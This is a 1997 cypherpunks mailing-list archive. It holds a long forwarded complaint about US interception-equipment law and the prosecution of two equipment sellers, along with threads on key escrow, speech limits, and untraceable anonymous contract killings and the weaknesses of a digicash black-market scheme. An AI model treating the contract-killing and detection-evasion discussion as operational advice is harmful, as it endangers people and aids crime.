Date: Wed, 11 Jun 1997 04:02:36 +0800
To: cypherpunks <cypherpunks@toad.com
Subject: SPECIAL ISSUE Surveillance List Forum Vol 2 Issue#133 June  10,1997 (fwd)
Message-ID: <Pine.SUN.3.96.970610153852.9093I-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



Vewy vewy intwestwing stuff....  (forwarded from the security list.)  Note
the "major threat to LEA's" in particular...

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================

---------- Forwarded message ----------
Date: Tue, 10 Jun 1997 10:16:51 -0400
From: SpyKing <SpyKing@thecodex.com>
Subject: SPECIAL ISSUE Surveillance List Forum Vol 2 Issue#133 June  10,1997

******************************************************************************
Vol.Two Issue #133           The Surveillance List            June 10,1997        
                        Over 2100+ Members Worldwide
                     Representing 46 different countries
                List Chat at: http://www.thecodex.com/chat.html
                             ***SPECIAL ISSUE***
******************************************************************************
IN THIS ISSUE...
******************************************************************************

01) Important Issue Concerning ALL in the Surveillance Business... 
  
 
******************************************************************************
DON'T BE A LURKER.... GET INVOLVED... YOU ARE A MEMBER... MAKE THE MOST OF IT
******************************************************************************
1)From: SpyKing@thecodex.com
Subject: Important Issue Concerning ALL in the Surveillance Business...

I received this post from Gilbert Walz and thought it of immense importance to the list. He's asked me to post and I am complying... Read this carefully as it could affect all... If you agree that something needs to be done I urge you to contact you congressman and let them know about this situation...

>>>>
From: GilbertWa@aol.com
Date: Sun, 18 May 1997 01:56:48 -0400 (EDT)
To: SpyKing@thecodex.com
Subject: US CUSTOMS BUST

Greetings,
My partner Jude Daggett was recently arrested by US Customs in a sting set up
by Bill Fischer of E.C.I. Calgary Canada,for allegedly selling a chip that
enabled a panasonic cell phone to receive 800-900 mhz.Mr. Fischer  was
apparently set up as well by Cellular Tecnology , a company that sell's the
CT-1000 a Hand Held cell test piece.
There is much more to the story,including an upcoming trial in San Jose Ca,
for violations of section 2512, I am the defendant in this case.
If you are interested in more detail please page me@ 415-979-7353.

Regards,

Gilbert Walz

<<<<

From: GilbertWa@aol.com
Subject: Section 2512

FYI

MAJOR THREAT TO STATE AND LOCAL LAW ENFORCEMENT CAPABILITIES

State and local law enforcement bodies have begun to find it difficult to procure the latest in Title III equipment, i.e. equipment "...primarily useful for the surreptitious interception of ... communication".  Unless action is taken at the highest levels of the federal government, there is no question that serious harm will be done to the abilities of state and local law enforcement to properly perform technical surveillance.

This is an extremely serious matter, and I urge you to take the time to
study this information.  Law enforcement's ability to properly perform its
duties faces a serious and a real threat, and correcting the situation will
not be easy, but it is something that MUST be done.

We're in this sorry state for two real reasons and one possible reason, viz:

Real Reason #1.  The federal law that deals with monitoring that which has
been transmitted by radio is irrational, poorly written, unthinkably
stupid, incomplete, technically impossible to enforce, vague where it
should be specific, specific where it covers unenforceable prohibitions,
and primarily of value to vendors of cordless and cellular telephones
(because they can lie to their potential customers telling them: "nobody
can listen to you; it's against the law).

Real Reason #2.  Some federal government entities have chosen to reinterpret elements of a law enacted almost thirty years ago (and amended many times since then).

Possible Reason.  There is great suspicion that some privileged companies
are steering some of the federal government's minions toward small
companies in order to remove possible competition from the marketplace --
in other words it is possible that the law is being selectively enforced
for the benefit of some firms.  Professionals who know their way around in
this arena are aware of some targeting that had been orchestrated by
entities that, although they deal in a big way with Title III equipment,
have remained unaffected by the federal government elements that have
suddenly developed real zeal to punish those who they say sell Title III
equipment.

Background.  During the past TWENTY-NINE YEARS (since passage of Public Law
90-351, "The Safe Streets Act of 1968"), law enforcement at all levels in
this country has benefited because of a reasonable interpretation of the
elements of that law.  That has now all changed.  To allow you to
understand the situation we must first cover the specifics of the law, and
the way it has been interpreted over the years.

First, the prohibitions.  The law proscribes the use, possession and
even advertising of equipment "knowing or having reason to know that the
design of such device renders it primarily useful for the surreptitious
interception of ... communication".  Obviously there are categories of
people who are exempted from these prohibitions - such as the very law
enforcement people who would use it in investigations.  However, one of
those exemptions is now being reinterpreted.

I refer specifically to the interpretation of the exception relating to
"...an officer, agent, or employee of, or a person under contract with, the
United States, a State, or a political subdivision thereof..."  For almost
thirty years that phrase has been interpreted that honest businessmen
(manufacturers or dealers) who sold Title III equipment only to law
enforcement agencies were "agents under contract to...".  Small business
entrepreneurs and their dealers have, since passage of the PL 90-351,
operated under the belief that, if their customers were federal, state or
local law enforcement organizations, they were operating legally when they
designed, built and sold such equipment (or marketed it as agents of the
builder). 

Never having had any notice by any government body that a specific item
could be considered "Title III", sellers felt no compunction to refrain
from advertising and no concern about selling to non-law enforcement (except for obvious Title III items such as body wires).  This dogma has been reinforced and solidified by almost thirty years of practice.
   
Before covering the 1996/7 reinterpretation of this law, let's review
some recent events.

Enforcement History.  In 1991 or 1992 several businesses received a
certified letter from the FCC that began "It has come to our attention that
you are marketing..." and went on to accuse all of us of various felonies.
My written request to be told the specific product and the specific accuser
is to this day still unanswered.  However, one man, whose letter was
ignored and whose FOIA inquiry was ignored, finally inquired through his
congressman.  He was then informed that his FOIA action was sent to the
wrong address (!), and that the FCC accusations were based on "anonymous
telephone tips".  Yeah, Right.  (Those of us who are knowledgeable of the
players have a good idea of how those "anonymous" tips were received; we
remember seeing the guy who was siccing his FCC toady on various exhibitors
at more than one trade show.  Ah well.)
   
Then about two years ago a bunch of stores with "spy" in their names
were raided by the Customs Department for importing and selling forbidden
radio transmitting equipment.  (Personal comment: Good riddance; they were
mostly rip-off artists preying on people who wanted to spy on others.)
   
However, the serious reinterpretation that is tying up resources started
last year.  In 1996 and 1997 there has been a lot of activity based on 1)
lawyers pretending to be all-knowing technical experts and 2) a
reinterpretation of the exception clause quoted above. 

Current Status.  To the best of my knowledge, the first activity in this
"reinterpreting" arena was the indictment of Gilbert Walz and Jude Daggett
by US Attorney Michael J. Yamaguchi in the US District Court of Northern
California.  The indictment accuses them of selling devices "whose [sic]
design renders them primarily useful for the purpose of the surreptitious
interception of wire, oral and electronic communications".  (The paper I
have in front of me is called "SUPERSEDING INDICTMENT" and is dated May 2,
1996.)

There is no reference in this indictment - or in any of the other
government papers I have - to the expert on whose opinion these indictments
are based.  Therefore, I have the terrible suspicion that Michael J.
Yamaguchi took it upon himself to make the kind of determination that can
only be made by a technical expert with education and experience in the field.
   
Both Walz and Daggett have been "out on bail" until the very recent
past.  Then, within the past few months,   it appears that various players
in this arena have been pressured to "set up" those gentlemen.

Walz took a telephone order for a piece of equipment, ordered it shipped
from Canada, and was arrested when it arrived in the hands of the man who
ordered it.  He never saw it, never touched it, never got paid one cent,
but was arrested and jailed for about one month before bail was set at one
hundred thousand dollars.  (By the way the man who ordered the equipment
and who received it, is still free as a bird.)  

Daggett also was arrested (after also apparently being set up) and
jailed, but released after a week or two on personal recognizance.
   
I think it is important to note that these men have been selling these
items for years, and had asked one government official after another if
there was any question as to their legality.  The only answers they
received were non-committal.

Deleterious Results from These Actions.  These (and possibly other) actions
by various entities at the federal level have caused the "unarrested"
members of this community to pull in their horns.  They will no longer even
admit to possessing equipment that might be capriciously classified as
Title III.
   
The net result, unless some sensible order is created from this miasmic
mess, will be a set back for state and local LE bodies of five to ten years
in procurement of Title III equipment.  I say that because some of the
federal people involved have stated that "only people under contract to the
federal government" are covered by the exception noted above.  Even if that
is softened to the state and local governments as specified in the law, any
law enforcement agency that needs Title III equipment will  have to totally
technically specify its needs in a request for proposal, distribute the RFP
to a list (Where does it come from?) of competent firms, take proposals,
evaluate proposals, award contracts, evaluate products delivered; and
finally, years after the need was recognized, receive the product.

MY PERSONAL INVOLVEMENT

Last month, while Jude Daggett was locked up in jail, his partner
Gilbert Walz called and asked for my help in getting him out.  Jude called
also, and I agreed to do what I could.  The letter I sent to Jude's lawyer
follows.   

Dear *******,

I am writing this on behalf of Jude Daggett, an honest man and a good
friend of more than ten years.  However, the opinions I express are not
generated by that friendship; they are based on my education and experience
and are totally consistent with my stated positions, writings and testimony
over the years.  Let me introduce myself and briefly list my qualifications
to comment on this case and the law under which it was brought.  

I am an electrical engineer with almost fifty years of professional
experience in communications and electronics.  (A short resume follows.)  I
have been called as an expert witness in federal and state courts in civil
and criminal cases relating to electronic communication, eavesdropping,
etc.   The Office of Technology Assessment of the United States Congress
contracted with me to study and report on the vulnerability of our
telephone system to secret monitoring.  I believe I am the only engineer
ever to provide an expert opinion in federal court on the meaning of
"...knowing or having reason to know the design of which renders it
primarily useful for the surreptitious interception of ... communications"
as it relates to a specific item of electronic equipment. 

The law that applies originated as the Safe Streets Act of 1968, PL
90-351.  The specifics relating to "primarily useful for" were printed
under the heading "Title III" in that law, and that equipment has come to
be known as Title III equipment by those in this field.  90-351 and its
later versions were attempts to codify questions relating to monitoring the
communications of others, but all are flawed in many, many ways - primarily
due to the influence of lobbyists for the cellular telephone industry and
cordless telephone manufacturers.  They wanted to be able to tell their
customers "No one can listen; it's against the law."  

In truth, despite any laws that can be written, that which has been
transmitted by radio, can and will, be listened to.  That is as immutable
as water running down hill.  Common, ordinary and essential electronic
parts and systems, useful for many other purposes, can be used to monitor
radio transmissions; and no series of laws or regulations can change that
verity.  There will always be people who will listen, regardless of any
laws on the books or lies told to potential customers.

People who choose to broadcast their thoughts by radio should not be lied
to; they should be cautioned that every word can be heard by others.  In
fact, the United States Supreme Court, in an eminently fair and reasonable
ruling, said that the man who had been imprisoned based on material his
neighbors heard him say over his cordless phone had "no reasonable
expectation of privacy".   The court ruled that no one invaded his privacy,
but, rather, that the signal received by his neighbors' cordless phone had
been transmitted by his deliberate act, and the content of his messages was
in no way privileged.

Radio transmissions are radio transmissions, and although cellular
transmissions are on different frequencies and handled differently than
cordless, they are still transmissions that can be received by anyone.
I'll opine that, when the law regarding cellular is tested at the supreme
court level, the ruling on the validity of the law will be the same as it
was in the cordless phone case.
	
So, I present the idea above as something that could be called a "global
defense" of Mr. Daggett and anyone else caught in the net that has recently
been cast.  However, let's consider the specifics of Mr. Daggett's case.
	
With regard to the specific case at hand I believe the most important
consideration is the legislative history of the federal law in question.
Although I do not have a copy in front of me as I write this, the essence
of the legislative history that applies is:  "...Because this is such a
specialized field, it's obvious that the services of an expert will be
required in considering whether the design of a device renders it primarily
useful for surreptitious interception of communication."  

I have read the documentation on this case, and I am appalled at the fact
that technical laymen with no education or experience in this specialized
field have bluntly stated as a fact that the devices under consideration
are primarily useful for surreptitious interception of communication.  In
my opinion such statements are a travesty.  As a man with an education and
a lifetime of experience in the field, if I were asked that question, my
answer would be that I would have to:

have possession of each device for some time so I could operate it and compare it with other, technical equipment with similar capabilities, 
	   
evaluate the cost vs. benefit of each possible equipment for the many
possible uses, (to explain, let's consider the monitoring equipment that
could be used on fax transmissions: There is a two-channel fax monitoring
system from Denmark that costs $60,000 and has the capability of
recognizing the formats used by all fax manufacturers.  Also, it is
possible to use a $30 tape recorder and $150 fax machine to reproduce faxes
transmitted by a machine of the same make.   With no other information to
influence my opinion, I would conclude that the person trying to collect
information illegally on someone else would opt for the inexpensive
approach; and that the company that needs to monitor communication between
the headquarters and divisions located in countries all over the world
would use the expensive system so as to be sure it can decipher all
messages from all machines.)

discuss uses with others who have had experience with the equipment for various functions; and finally, spend time to allow my brain to reach a logical conclusion.

>From my point of view it is unconscionable to have a man jailed based on
the unsupported technical conclusions of laymen - laymen with no education
or experience in even basic design of electronic communication equipment
much less the kind of specialized electronic communication equipment
referred to in this case.
	
Based on what I have learned about this case, I believe this was a setup,
designed to result in the arrest of Mr. Daggett.  There was absolutely no
intent or effort on his part to violate any law; in fact, material I have
in hand indicates that he and his partner had frequently asked law
enforcement people and even a US Attorney to tell them if any of their
equipment fell into the Title III category (primarily useful for...), and
were always answered ambiguously.  Mr. Daggett was the target, and men who
were being pressured to do so by law enforcement authorities arranged to
meet him in a place that had been prewired so as to videotape the whole
activity while they pressured him into assembling the equipment and turning
it on - while not a word was spoken about any illegal use of the equipment.
	
Perfectly legal equipment can be used illegally.  An ordinary hammer can
be used to kill someone, but that doesn't mean it is primarily useful for
killing a person.  The bayonet I was issued in WWII, on the other hand, is
designed for just that purpose and no other.  In this case, serious
consideration should be given to the "primarily useful for" clause.  Is
someone interested in illegally eavesdropping on cellular conversations
going to buy  a $100 scanner or an instrument designed to fight cellular
toll fraud that costs thousands of dollars?

I have no idea whether the following thoughts are material, but I present
them because, as a legal layman, I regularly wonder about the uneven
application of some criminal laws.  For instance, while Jude Daggett is in
jail for possibly having sold a Title III piece of equipment:
	  
the Martins (who said they had monitored and recorded Newt's conference
call that Rep Boehner was on with his cellular) were fined $500 each for
the deliberate illegal recording and distribution of a cellular phone
conversation.  Where's the justice?
	   
Westinghouse (and a raft of other companies) advertise Title III
equipment regularly and continuously.  In that such advertising is also
proscribed by 18 USC 2512, I wonder how they get away with it.  Does our
federal law enforcement shy away from the bigger companies because they
have bigger budgets to defend themselves with?  Where's the justice?
	
Finally, let me go back to my original comments about this law.  It is so
ambiguous as to be farcical.  Examples:
	   
It uses the word "intercept" incorrectly so it has to contain a special
definition of it.  
	   
It refers to "audio subcarrier" a complete nonsensical combination of
words - audio is sound, a longitudinal wave and subcarrier must be RF, a
transverse wave.  
	   
It could even be interpreted in some circumstances to mean it is a
federal crime to "intentionally" listen to Muzak while on an elevator or on
hold on the telephone.

POST SCRIPT

Additional Considerations.  Since writing the letter above, I have
continued thinking about that silly law.  Sure, the legislators will tell
you they passed it to protect our privacy.  That's hogwash.  If they were
honest, they would have listened to Bob Grove when he was invited to
testify.  Instead they pilloried him, accusing him of all kinds of nasty
things.
   
Had they listened to him, or to anyone with education and experience in
this field, they would have heard that the law is unenforceable.  That
which has been broadcast  by radio will be monitored by parties other than
the intended receiver.  Unless encryption or some modern modulation
techniques are used, every broadcast can be monitored - despite the lies of
the sellers.

Two more possible lines for the defendants to take:

#1.  I am an expert and allowed, therefor, to offer an opinion in court
testimony.  However, when I have offered an opinion, I have buttressed it
with arguments and even demonstrations.  I doubt the lawyers who have
expressed opinions as facts have done, or even can do, the same.  There is
nothing in their writings other than unsupported conclusions.

2.  I think a careful evaluation of the words in the law and the
legislative history might lead to the conclusion that the " communication"
referred to by the law writers is solely communication between humans.  If
that's so, the operation of the specific item should be carefully examined.

For instance, the cellular monitoring systems print out tons of
communication between the CMTs and the MTSOs (cellular mobile telephones
and mobile telephone switching offices).  Line after line on the printout
specifies the status of all active CMTs in its area, and the details of
what number called what number, etc. etc.  If these things primarily
monitor machine communications, can they be called "primarily useful for
surreptitious interception of {human} communications?

TWO POSSIBLE SOLUTIONS

#1.  The congress could pass a new law - one based on inputs from people
who know what they're talking about and have the interests of our citizens
in mind.  (The elements of this law that cover monitoring [the law calls it
"intercepting"] of radio broadcasts is not necessary.  47 USC 705 has
served us well for many years, and makes sense.)  

#2.  As long as the stupid law stays on the books, the federal government
should establish a qualified, non-government body of experts to rule on
what is and what is not a Title III device or system. This would allow
manufacturers and dealers to know who they can sell to.

James A. Ross


+++Moderator's Note+++

I agree with Ross. The law IS unclear and can result in select prosecution of anyone who manufactures Title III equipment OR ANY TYPE of communication equipment that could POSSIBLY be used for interception...

Several years ago I asked a personal friend who was the BOSS of a "three Letter agency" (Federal) in New York City for clarification of TITLE III because I had developed a new surveillance device and wanted to manufacture and sell...

My friend told me (after checking with Justice Department Legal Counsel) that there was "no license" which would "hold harmless" a "surveillance device" manufacturer or distributor. That they operated at the discretion of the government and could be indicted at any time... He advised me (as a friend) against developing the new device since I could be indicted for simply offering it for sale to "bona fide" law enforcement agencies...

The fact of the matter is "certain" companies that are on the "in" thrive while circulating "false" data about competition and "dropping dimes" to the feds to cause competitors "problems"...

Ma Bell should also be indicted as well as MANY other companies for "manufacturing" devices which allow the "interception" of communications...

See how stupid this gets?...

This type of case affects us ALL... I hope the list will support Daggett and Walz and let there Congressman know about this farce... 

**************************************************************************

[Security List info deleted.  ]

***************************************************************************
The Codex Surveillance & Privacy News - http://www.thecodex.com
Moderator of "The Surveillance List"... http://www.thecodex.com/list.html
The Nets FIRST & ONLY list dedicated to Surveillance Technology...
"We don't spy on you... but we DO keep an eye on those that do..."
***************************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Wed, 11 Jun 1997 04:13:26 +0800
To: "Igor Chudov @ home" <ichudov@Algebra.COM>
Subject: Re: Thoughtcrime   (Re: My War) (fwd)
In-Reply-To: <199706100422.XAA03115@manifold.algebra.com>
Message-ID: <Pine.SUN.3.96.970610155449.9093K-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain



On Mon, 9 Jun 1997, Igor Chudov @ home wrote:

> I do not see how I can be detected, modulo the security of anonymous
> remailers. Since my reputation will be based on PGP authentication, I
> will have an incentive not to cheat.

Three weaknesses in your scheme come to mind:

The bank could turn you in if you cash in the digicash (i.e. sting
operation would be to track a certain piece of digicash). So you'd have to
pass it on to others and not spend it.  

Failing that, the LEA's would then try to blast your reputation by saying
they are Joe Dimebag and that they sent you money, but you ripped them
off.  They do this enogh times, your rep goes down the tubes and everyone
will fear sending you e$.  If not the LEA's then your competitors, etc.

Third hack into your scheme: someone with loads of digicash and loads of
time (LEA, who else?) could buy lots and lots from you.  Eventually a
physical pattern would show itself in your drop boxes.  If you ever reuse
a drop location, you could easily be nabbed.


As long as the goods you deliver are physical, the above are huge factors
and make it not worth your while to do.

=====================================Kaos=Keraunos=Kybernetos==============
.+.^.+.|  Ray Arachelian    | "Boy meets beer.  Boy drinks Beer,     |./|\.
..\|/..|sunder@sundernet.com|        Boy gets another beer!"         |/\|/\
<--*-->| ------------------ |                                        |\/|\/
../|\..| "A toast to Odin,  | For with those which eternal lie, with |.\|/.
.+.v.+.|God of screwdrivers"| strange aeons, even death may die.     |.....
======================== http://www.sundernet.com =========================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Horowitz <marc@cygnus.com>
Date: Wed, 11 Jun 1997 05:22:39 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Access to Storage and Communication Keys
In-Reply-To: <Bill Stewart's message of Mon, 09 Jun 1997 00:09:38 -0700>
Message-ID: <t534tb6f9w4.fsf@rover.cygnus.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> writes:

>> An interesting perspective, but I don't know that it works.
>> For this to make sense, either the business needs to have access to
>> the stored received email if the user gets run over by a police car,
>> or else the business needs to know that it doesn't _need_ access -
>> either because the mail isn't business related, or because the
>> business-related parts have been transferred to other systems
>> using a convenient user interface.

It is impossible to know if a given email is business related or not
automatically.  Probably the best idea is to have my business email
key escrowed (by my MIS department, not uncle sam!), but to have my
personal email key not escrowed.  Probably, I want to use two
completely different email addresses.  This does require that the
sender use the correct address and key when sending me personal email.

I do believe that there is a case for private key escrow here.  Some
of you will say that the sender should just encrypt the message to me
and to the MIS message-escrow key.  This is ok, too, but it still
requires that the sender remember to do this for business email and
not for personal email, so you've just changed the nature of the
burden slightly, not removed it.

>> >The *only* reason to escrow communications keys is to spy on people;
>> >there is never an opportunity for data loss here.
>>
>> Yeah!  (Actually, the other reason to escrow them is because
>> you're using the same keys for communication and storage,

This sort of thing is where we as cryptographic engineers need to keep
on our toes.  If we never use the same key for communications and
storage encryption, this issue never comes up.

>> of storage keys, but that's only the case if you're not using
>> a sufficiently flexible cryptosystem and are using key backup
>> instead of data backup, which is really the preferred approach anyway.)

Key backup is far more practical than data backup in a large
environment.

ObCryptoIdea: a backup system which lets me set a public key
associated with my directory/disk/whatever.  The backup system will
encrypt the backup in a symmetric key encrypted by this public key.
If a restore is needed, the backup system and I engage in a dialog to
disclose the relevant symmetric key.  For mission-critical data, the
public key must come with a certificate indicating that the private
key has been escrowed, so that if I get hit by a truck, the data can
be recovered.  For personal data, I keep the private key to myself.
This means that I can have the safety of knowing my data is being
backed up, but I never have to worry about archives of my data coming
back to haunt me (unless the company/school/ISP is malicious and keeps
it's own records of the symmetric keys, but then I'm screwed in any
case).

		Marc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 11 Jun 1997 08:32:29 +0800
To: tzeruch@ceddec.com
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <3.0.2.32.19970609183534.0069ac1c@netcom13.netcom.com>
Message-ID: <v03102800afc399044c85@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



I call bullshit on this whole line of reasoning!

All prohibition of speech should be based on the judgement of whether or
not specific individiuals (not general groups or socienty at large) can be
reasonably be deduced to be at immediate risk or be harmed from that speech.

>Looking at synthetic child porn may be purely a thought crime, but it
>involves breaking a lot of societal taboos.  If someone does not have the
>self-restraint to not look at mere pictures, will they have the restraint
>to avoid comitting actual crimes?  Pornography is not like reading Rosseau
>or Locke since rational enlightenment is not the goal.
>
>Logic != Emotion
>
>But what happens when we deal with individuals who are entirely driven by
>emotions, and by the basest emotions possible?

I find lust to be a noble urge.

What happens when you sell high-power autos to immature consumers which can
only be used as promoted by traveling at speeds well in excess of safe?

>
>Although you can argue that people may be able to look without touching,
>the reason they are looking in the first place involves a release of the
>beast within.  How many such people are we willing to trust to keep that
>beast on the chain.  The law is currently structured to answer "none" to
>this question, and this may be the proper answer.

Following this line of reasoning, isn't it appropriate that any
attractive/exciting experience which gets the adreneline pumping (with the
possibility for abuse and injury to third-parties) be regulated?

>
>With guns and explosives, there is greater likelyhood that someone will
>injure themselves or their own property on a destructive binge.  This type
>of expression is more benign, though I don't think it represents the
>better angels of our nature.  But I see no threat to me personally from
>such people.

I think some families in Oklahoma City may disagree.

>
>Similarly with most drugs...
>
>But I would not want to have someone leave the two components to a binary
>nerve gas on a shelf...

Now you've transgressed from speech to possession.

>
>Something that is in and of itself a turning away from reason and giving
>in to emotion, and the ultimate destination of that path if it is followed
>will result in injury to others, especially innocents, is something that
>should be regulated.

Regulated or banned?  I find war to be the best such example, but we still
have massive armies and a military-industrial complex don't we?

>
>This form of "information" is an addictive drug, with the side effect is
>that it destroys others much more than it destroys the abuser,

Can you back up this assertion with clinical data?

>
>This does not mean that I am any less a civil-cyber-libertarian..

I believe it means you are a wanna-be Libertarian.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Wei Dai <weidai@eskimo.com>
Date: Wed, 11 Jun 1997 08:57:11 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Untraceable Contract Killings
In-Reply-To: <v03102818afc32f6b5b30@[207.167.93.63]>
Message-ID: <Pine.SUN.3.96.970610172007.1148G-100000@eskimo.com>
MIME-Version: 1.0
Content-Type: text/plain



On Tue, 10 Jun 1997, Tim May wrote:

> By the way, this is not really Bell's "assassination politics," this is
> just anonymous contract killings, known about to some of us since Chaum's
> work was first published...cf. my own "Crypto Anarchist Manifesto," 1988.
> 
> I may sound touchy on this issue, but I'm seeing more and more articles
> here and relayed from outside essentially giving Bell the credit for
> inventing these kinds of markets, when in fact he's a relative latecomer.

I think the novelty of Bell's scheme is that it allows assassination
payments to be pooled from a large number of anonymous payers without
explicit coordination (i.e., the payers do not have to communicate with
each other to work out a contract, etc.).  For killing a neighbor it
doesn't improve upon the simple untraceable contract, but it can make a
big difference when the target has many enemies (Bell gave politicians as
an example).

Now in light of the fact that when the target has many enemies the
assassination becomes a non-excludable public good, it is almost certain
that the scheme cannot actually work in practice.  All of the potential
payers would rather free-ride and let others pay, so the public good ends
up not being "produced".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 11 Jun 1997 05:55:16 +0800
To: cypherpunks@toad.com
Subject: Law Enforcement Types Summary
Message-ID: <199706102140.RAA13605@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



 JUST A RECAP OF HOW OUR JUSTICE SYSTEM WORKS
 
 The LAPD, The FBI, and the CIA are all trying to prove that they are 
 the best at apprehending criminals. The President decides to give them 
 a test.  He releases a rabbit into a forest and each of them has to 
  catch it.
 
 The CIA goes in. They place animal informants throughout the forest. 
 They question all plant and mineral witnesses. After three months of 
 extensive investigations they conclude that rabbits do not exist.
 
 The FBI goes in. After two weeks with no leads they burn the forest, 
 killing everything in it, including the rabbit, and make no apologies. 
 The rabbit had it coming.
 
 The LAPD goes in. They come out two hours later with a badly beaten 
 bear.  The bear is yelling: "Okay! Okay! I'm a rabbit! I'm a rabbit!
 
 Case closed.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Vladimir Z. Nuri" <vznuri@netcom.com>
Date: Wed, 11 Jun 1997 08:54:38 +0800
To: Tim May <tcmay@got.net>
Subject: Re: Untraceable Contract Killings
In-Reply-To: <v03102818afc32f6b5b30@[207.167.93.63]>
Message-ID: <199706110045.RAA13474@netcom16.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



TCM
>Nonsense. The mechanisms for arranging the hit are untraceable. Thus, it
>hardly matters who the "suspects" are, as nothing is provable. (Assuming no
>implicating ephemera are left lying around on disk drives....)
>
>By the way, this is not really Bell's "assassination politics," this is
>just anonymous contract killings, known about to some of us since Chaum's
>work was first published...cf. my own "Crypto Anarchist Manifesto," 1988.
>
>I may sound touchy on this issue, but I'm seeing more and more articles
>here and relayed from outside essentially giving Bell the credit for
>inventing these kinds of markets, when in fact he's a relative latecomer.

why be bashful, timmy? go ahead and say it. 
"I invented the concept of anonymous contract killings via cyberspace, 
and I'm quite proud of this, and it annoys me when people don't give me 
proper credit"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Wed, 11 Jun 1997 10:24:23 +0800
To: Jim Burnes <jim.burnes@ssds.com>
Subject: Re: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: <11LV8D23w165w@bwalk.dm.com>
Message-ID: <v03102800afc3acb3c6c8@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>I understand, but my point was that at some point the system of "law"
>became simply a system of supplicating the masses and no longer serves
>justice.  When the system of law ceases to be a system of law and becomes
>of system of corruption I no longer refer to it as law.  Important
>Orwellian distinction.  Never let the bastards control the definitions and
>language.

"Nothing distinguishes more clearly conditions in a free country from those
in a country under arbitrary government than the observance in the former
of the great principles known as the Rule of Law. Stripped of all
technicalities, this means that government in all its actions is bound by
rules fixed and announced beforehand-rules which make it possible to
foresee with fair certainty how the authority will use its coercive powers
in given circumstances and to plan one's individual affairs on the basis of
this knowledge."

>From "The Road to Surfdom," F.A. Hayek, as quoted from the classical
exposition by A. V. Dicey in "The Law of the Constitution" (8th ed.), p.
198, the Rule of Law "means, in the first place the absolute supremacy or
predominance of regular law as opposed to the influence of arbitrary power,
and excludes the existence of arbitrariness, of prerogative, or even of
wide discretionary authority on the part of government."

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 11 Jun 1997 07:24:31 +0800
To: cypherpunks@toad.com
Subject: Call 4 Participation
Message-ID: <v0302091fafc384d25912@[139.167.130.246]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Authentication-Warning: blacklodge.c2.net: majordom set sender to
owner-spki@c2.org using -f
Date: Tue, 10 Jun 1997 14:29:10 -0700 (PDT)
From: Yahya Al-Salqan <Yahya.Abual-Salqan@corp.sun.com>
Reply-To: Yahya Al-Salqan <Yahya.Abual-Salqan@corp.sun.com>
Subject: Call 4 Participation
To: ssl-talk@netscape.com, spki@c2.net
Cc: SECURITY-TF@ILLILOUETTE.Sun.COM, Yahya.Abual-Salqan@corp.sun.com
MIME-Version: 1.0
Sender: owner-spki@c2.net
Precedence: bulk

The second IEEE International Workshop on Enterprise Security will take
place next week (June 18-21) at the MIT.
 The workshop will host a Panel discussion on the "Future of the Internet
Security at the IETF."  The Panelist are:
1) Carl Ellison, CyberCash, SPKI author at the IETF
2) Don Eastlake, CyberCash, Secure DNS author at the IETF
3) Perry Mitzger, Co-chair of SPKI and SecSH at the IETF
4) Tatu Ylonen, author SSH at IETF
5) Steve Lloyd, Entrust
6) Tom Polk, NIST, editor of PKIX at teh IETF

You are invited to take advantage of this opportunity to learn about the
future
of Internet security.

Visit http://www.cerc.wvu.edy/SECWK/  for more information on the
presentations
and discussion groups.

I look forward to meeting some of you at the Workshop,

Best Regards,

--Yahya Al-Salqan, PhD
Sun Microsystems
Enterprise Security General Chair

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Wed, 11 Jun 1997 07:55:16 +0800
To: cypherpunks@cyberpass.net
Subject: Re: None
In-Reply-To: <199706101102.NAA05299@basement.replay.com>
Message-ID: <199706102339.SAA10425@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706101102.NAA05299@basement.replay.com>, on 06/10/97 
   at 01:02 PM, nobody@REPLAY.COM (Anonymous) said:

>The possibility of Microsoft killing their competition's engineers is
>somewhat more realistic, although lately they've been hiring a lot of
>them instead, so maybe they don't want to kill them. :)

Working at M$ is a fate worse than death.

- -- 
- ---------------------------------------------------------------
